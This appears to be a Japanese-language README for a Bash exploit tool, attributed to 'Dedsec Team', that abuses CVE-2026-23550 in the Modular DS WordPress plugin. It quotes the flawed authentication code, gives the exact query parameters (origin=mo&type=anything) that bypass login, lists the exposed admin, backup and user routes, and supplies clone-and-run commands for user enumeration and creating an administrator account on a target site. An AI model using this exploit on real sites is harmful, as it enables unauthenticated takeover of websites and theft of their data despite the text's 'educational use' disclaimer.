
Bashスクリプトで、WordPressのユーザー列挙と管理者アカウントの自動作成を行い、CVE-2026-23550を悪用して認証をバイパスし、未認証の管理者乗っ取りを実現します。
CVE ID: CVE-2026-23550 CVSS スコア: 10.0 (CRITICAL) 影響を受けるプラグイン: Modular DS WordPress Plugin 影響を受けるバージョン: 2.5.1 までの全バージョン 修正済みバージョン: 2.5.2 (2026年1月14日リリース) 活発な悪用: 2026年1月13日以降、実環境での悪用が確認済み
このプラグインは、/api/modular-connector/. というプレフィックスの下にAPIルートを公開しています。
これらのルートは、RouteServiceProvider.php の認証ミドルウェアの背後にグループ化されています。
しかし、認証は欠陥のある isDirectRequest() メソッドを使用してバイパスできます。
public static function isDirectRequest(): bool
{
$request = \Modular\ConnectorDependencies\app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
// When is wp-load.php request
if ($isFromQuery) {
return \true;
}
return \false;
}
バイパス方法は非常に単純です: リクエストに origin=mo&type=anything パラメータを含めるだけです。署名、シークレット、IP、必須のUser-Agentの検証は一切ありません – これらのパラメータだけで、リクエストが Modular direct request として扱われるのに十分です。
リクエストが「direct」と見なされると、ModularGuard.php の認証ミドルウェアは、validateOrRenewAccessToken() を通じてサイトがModularに接続されているかどうかのみをチェックします。受信リクエストとModular自体の間には暗号的なリンクはありません。
公開されるルート 認証のバイパスに成功すると、攻撃者は以下にアクセスできます:
/login/{modular_request} – リモートログイン (管理者アクセス)
/server-information – 機密性の高いシステムデータ
/users/{modular_request} – ユーザー列挙
/backup/* – サイトのバックアップ
/cache/clear – キャッシュのクリア
/manager/* – 管理機能
/woocommerce/{modular_request} – WooCommerce統計
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id');
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // FALLBACK KE ADMIN MANAPUN
} else {
Cache::driver('wordpress')->forever('user.login', $user->ID);
}
if (empty($user)) {
throw new \Exception('No admin user detected.');
}
$cookies = ServerSetup::loginAs($user, true); // AUTO-LOGIN
return Response::redirectTo(admin_url('index.php'))
->withCookies($cookies);
}
リクエストボディにユーザーIDがない場合、コードは既存の任意の管理者 (getAdminUser()) を探し、直接ログインします。
著者: (Dedsec Team) 説明: WordPressユーザー列挙と自動管理者アカウント作成のための強力なbashスクリプト。教育目的および許可されたセキュリティテスト専用に構築されています。
/?author=1, /?author=2 など)curl (HTTPリクエスト用)base64 (難読化バージョンを使用する場合、へへ)git clone https://github.com/DedsecTeam-BlackHat/CVE-2026-23550.git
cd CVE-2026-23550
chmod +x CVE-2026-23550.sh
./CVE-2026-23550.sh [options] <target_url>
./CVE-2026-23550.sh -e -t http://targetsite.com./CVE-2026-23550.sh -t http://targetsite.com -c -u dedsec_admin -p P@ssw0rd!./CVE-2026-23550.sh -d